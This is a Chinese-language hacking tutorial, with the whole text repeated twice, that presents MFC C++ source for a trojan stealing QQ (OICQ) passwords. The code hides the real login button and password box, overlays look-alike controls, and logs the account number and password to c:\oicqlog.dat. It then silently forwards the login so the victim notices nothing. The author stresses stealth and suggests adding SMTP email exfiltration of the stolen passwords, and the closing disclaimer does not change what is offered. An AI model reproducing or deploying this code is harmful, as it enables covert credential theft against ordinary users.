偷梁换柱盗取OICQ密码
Internet的发展，带动了IT界的一次大飞跃，黑客的活动也随之日益猖獗，攻击手法不断变化。各种黑客程序也是层出不穷，木马程序更是花样百出。 如：监视键盘按键、替换登录程序等，现在我就来介绍另一种攻击手法，替换登录程序按钮。这招绝吧!现在我就来将方法介绍一下。
就拿我们很熟悉的OICQ来作一个例子，看看程序到底是如何实现偷梁换柱的。要替换OICQ的登录程序的按钮与密码框，首先就得捕获OICQ登录程序的登 录按钮和密码框句柄。哈哈，要是换上了我们自己的按钮与密码框，不就是想干什么就干什么了吗。
我们要取得4个CWnd句柄，分另是：用户号码的CComBox、用户口令CEdit、登录按扭CButton、主对话框句柄。
m_hOicq=FindWindow(NULL,"QQ用户登录");
m_hOk=CWnd::FromHandle(FindWindowEx(m_hOicq-> GetSafeHwnd(),NULL,"BUTTON","登录"));
m_hEdit=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"EDIT",NULL));
m_hCom=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"ComboBox",NULL));
///上面的m_hOicq,m_hOk,m_hEdit,m_hCom分别为CWnd *类型
有了这四个句柄，接下来的事就好办多了，那现在我们就直接生成一个按扭和一个编辑框吧。代码如下 CFont *m_font=m_hOk->GetFont();
CFont *m_font1=m_hEdit->GetFont();
CRect rect;
CRect rect1;
m_hOk->GetWindowRect(rect);
m_hOk->ScreenToClient(rect);
m_hEdit->GetWindowRect(rect1);
m_hEdit->ScreenToClient(rect1);
rect.left+=14;
rect.top+=117;
rect.bottom+=117;
rect.right+=14;
rect1.left+=110;
rect1.top+=56;
rect1.bottom+=56;
rect1.right+=110;
m_hOk->ShowWindow(SW_HIDE);//隐藏登录按钮
m_hEdit->ShowWindow(SW_HIDE);//银藏密码框
if(m_button.Create("登 录",WS_CHILD|WS_VISIBLE|WS_TABSTOP|BS_DEFPUSHBUTTON,rect,m_hOicq,IDC_STARTBUTTON)==FALSE)
MessageBox("error");
m_button.SetFont(m_font,TRUE);
m_button.SetWnd(this);
m_button.SetID(IDC_STARTBUTTON);
if(m_edit.CreateEx(0x204,"Edit","",0x500100A0,rect1,m_hOicq,IDC_MYEDIT)==FALSE)
MessageBox("error1");
m_edit.SetFont(m_font1,TRUE);
m_edit.SetFocus();
m_edit.SetWnd(this);
上面代码中的m_button为CMyButton类型变量，m_edit为CMyEdit类型变量，请继续往下看。
这两个控件生成了!但是光生成两个控件还没用，我们得让两个控件告诉我们什么时候按了回车，什么时候点击了Mouse左键。那就得对EDIT、 BUTTON做一下处理才行。用ClassWinzard生成二个派生类CMyEdit、CMyButton，分别生成WM_LBUTTONUP、 PreTranslateMessage，让它处理相应的按键事件。并通讯事件发个消息给我的主对话框，那就要取得我的对话框的句柄，在两个派生类中分别 生成函数
SetWnd(CWnd *pWnd)用于告知主对话框的窗口句柄。
在CMyEdit的 PreTranslateMessage(MSG* pMsg)中输入
if(pMsg->message==WM_KEYDOWN)
{
if(pMsg->wParam==VK_RETURN)
m_wnd->SendMessage(WM_ButtonDown,0,0);
}
在CMyButton的OnLButtonUp(UINT nFlags, CPoint point)中输入
m_wnd->SendMessage(WM_ButtonDown,0,0);
以上将一个消息发送到我的对话框，我得把消息处里一下，做的干净漂亮些，这样用的人才不会知道我个木马程序在偷偷监视他们
CString Password,cc;
char LoginName[20] ;
memset(LoginName,0,20);
::SendMessage(m_hCom->GetSafeHwnd(), WM_GETTEXT, 20, (LPARAM)LoginName);
m_edit.GetWindowText(Password);
m_edit.ShowWindow(SW_HIDE);
m_hEdit->ShowWindow(SW_SHOW);
m_hOk->ShowWindow(SW_SHOW);
cc=0x0d;
cc+=0x0a;
CFileFind m_find;
CFile m_file;
if(!m_find.FindFile("c:\\oicqlog.dat"))
m_file.Open("c:\\oicqlog.dat",CFile::modeCreate|CFile::modeWrite,NULL);
else
{
m_file.Open("c:\\oicqlog.dat",CFile::modeWrite);
m_file.SeekToEnd();
}
m_file.Write(cc,cc.GetLength());
m_file.Write(LoginName,sizeof(LoginName));
m_file.Write(cc,cc.GetLength());
m_file.Write(Password,Password.GetLength());
m_file.Close();
m_hEdit->SetFocus();
char *ee=Password.GetBuffer(Password.GetLength());
::SendMessage(m_hEdit->GetSafeHwnd(),WM_SETTEXT,20,(LPARAM)ee);
keybd_event(VK_RETURN,0,0,0);
keybd_event(VK_RETURN,0,2,0);
return TRUE;
好了，一个简单的木马程序就写完了，如果再加上Email的功能，那就变得更完美了，具体细节可以分析作者提供的源代码，该代码可以设定EMAIL信 箱，SMTP服务器，一次发送数量，密码文件位置。
示例程序的简单使用方法：按"捕获"按钮后程序被隐藏，当打开QQ时，QQ上的按钮已经被替换，登陆信息被记录在您所设置的密码文件中。请勿将此代码用于 非法目的。
Internet的发展，带动了IT界的一次大飞跃，黑客的活动也随之日益猖獗，攻击手法不断变化。各种黑客程序也是层出不穷，木马程序更是花样百出。 如：监视键盘按键、替换登录程序等，现在我就来介绍另一种攻击手法，替换登录程序按钮。这招绝吧!现在我就来将方法介绍一下。
就拿我们很熟悉的OICQ来作一个例子，看看程序到底是如何实现偷梁换柱的。要替换OICQ的登录程序的按钮与密码框，首先就得捕获OICQ登录程序的登 录按钮和密码框句柄。哈哈，要是换上了我们自己的按钮与密码框，不就是想干什么就干什么了吗。
我们要取得4个CWnd句柄，分另是：用户号码的CComBox、用户口令CEdit、登录按扭CButton、主对话框句柄。
m_hOicq=FindWindow(NULL,"QQ用户登录");
m_hOk=CWnd::FromHandle(FindWindowEx(m_hOicq-> GetSafeHwnd(),NULL,"BUTTON","登录"));
m_hEdit=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"EDIT",NULL));
m_hCom=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"ComboBox",NULL));
///上面的m_hOicq,m_hOk,m_hEdit,m_hCom分别为CWnd *类型
有了这四个句柄，接下来的事就好办多了，那现在我们就直接生成一个按扭和一个编辑框吧。代码如下 CFont *m_font=m_hOk->GetFont();
CFont *m_font1=m_hEdit->GetFont();
CRect rect;
CRect rect1;
m_hOk->GetWindowRect(rect);
m_hOk->ScreenToClient(rect);
m_hEdit->GetWindowRect(rect1);
m_hEdit->ScreenToClient(rect1);
rect.left+=14;
rect.top+=117;
rect.bottom+=117;
rect.right+=14;
rect1.left+=110;
rect1.top+=56;
rect1.bottom+=56;
rect1.right+=110;
m_hOk->ShowWindow(SW_HIDE);//隐藏登录按钮
m_hEdit->ShowWindow(SW_HIDE);//银藏密码框
if(m_button.Create("登 录",WS_CHILD|WS_VISIBLE|WS_TABSTOP|BS_DEFPUSHBUTTON,rect,m_hOicq,IDC_STARTBUTTON)==FALSE)
MessageBox("error");
m_button.SetFont(m_font,TRUE);
m_button.SetWnd(this);
m_button.SetID(IDC_STARTBUTTON);
if(m_edit.CreateEx(0x204,"Edit","",0x500100A0,rect1,m_hOicq,IDC_MYEDIT)==FALSE)
MessageBox("error1");
m_edit.SetFont(m_font1,TRUE);
m_edit.SetFocus();
m_edit.SetWnd(this);
上面代码中的m_button为CMyButton类型变量，m_edit为CMyEdit类型变量，请继续往下看。
这两个控件生成了!但是光生成两个控件还没用，我们得让两个控件告诉我们什么时候按了回车，什么时候点击了Mouse左键。那就得对EDIT、 BUTTON做一下处理才行。用ClassWinzard生成二个派生类CMyEdit、CMyButton，分别生成WM_LBUTTONUP、 PreTranslateMessage，让它处理相应的按键事件。并通讯事件发个消息给我的主对话框，那就要取得我的对话框的句柄，在两个派生类中分别 生成函数
SetWnd(CWnd *pWnd)用于告知主对话框的窗口句柄。
在CMyEdit的 PreTranslateMessage(MSG* pMsg)中输入
if(pMsg->message==WM_KEYDOWN)
{
if(pMsg->wParam==VK_RETURN)
m_wnd->SendMessage(WM_ButtonDown,0,0);
}
在CMyButton的OnLButtonUp(UINT nFlags, CPoint point)中输入
m_wnd->SendMessage(WM_ButtonDown,0,0);
以上将一个消息发送到我的对话框，我得把消息处里一下，做的干净漂亮些，这样用的人才不会知道我个木马程序在偷偷监视他们
CString Password,cc;
char LoginName[20] ;
memset(LoginName,0,20);
::SendMessage(m_hCom->GetSafeHwnd(), WM_GETTEXT, 20, (LPARAM)LoginName);
m_edit.GetWindowText(Password);
m_edit.ShowWindow(SW_HIDE);
m_hEdit->ShowWindow(SW_SHOW);
m_hOk->ShowWindow(SW_SHOW);
cc=0x0d;
cc+=0x0a;
CFileFind m_find;
CFile m_file;
if(!m_find.FindFile("c:\\oicqlog.dat"))
m_file.Open("c:\\oicqlog.dat",CFile::modeCreate|CFile::modeWrite,NULL);
else
{
m_file.Open("c:\\oicqlog.dat",CFile::modeWrite);
m_file.SeekToEnd();
}
m_file.Write(cc,cc.GetLength());
m_file.Write(LoginName,sizeof(LoginName));
m_file.Write(cc,cc.GetLength());
m_file.Write(Password,Password.GetLength());
m_file.Close();
m_hEdit->SetFocus();
char *ee=Password.GetBuffer(Password.GetLength());
::SendMessage(m_hEdit->GetSafeHwnd(),WM_SETTEXT,20,(LPARAM)ee);
keybd_event(VK_RETURN,0,0,0);
keybd_event(VK_RETURN,0,2,0);
return TRUE;
好了，一个简单的木马程序就写完了，如果再加上Email的功能，那就变得更完美了，具体细节可以分析作者提供的源代码，该代码可以设定EMAIL信 箱，SMTP服务器，一次发送数量，密码文件位置。
示例程序的简单使用方法：按"捕获"按钮后程序被隐藏，当打开QQ时，QQ上的按钮已经被替换，登陆信息被记录在您所设置的密码文件中。请勿将此代码用于 非法目的。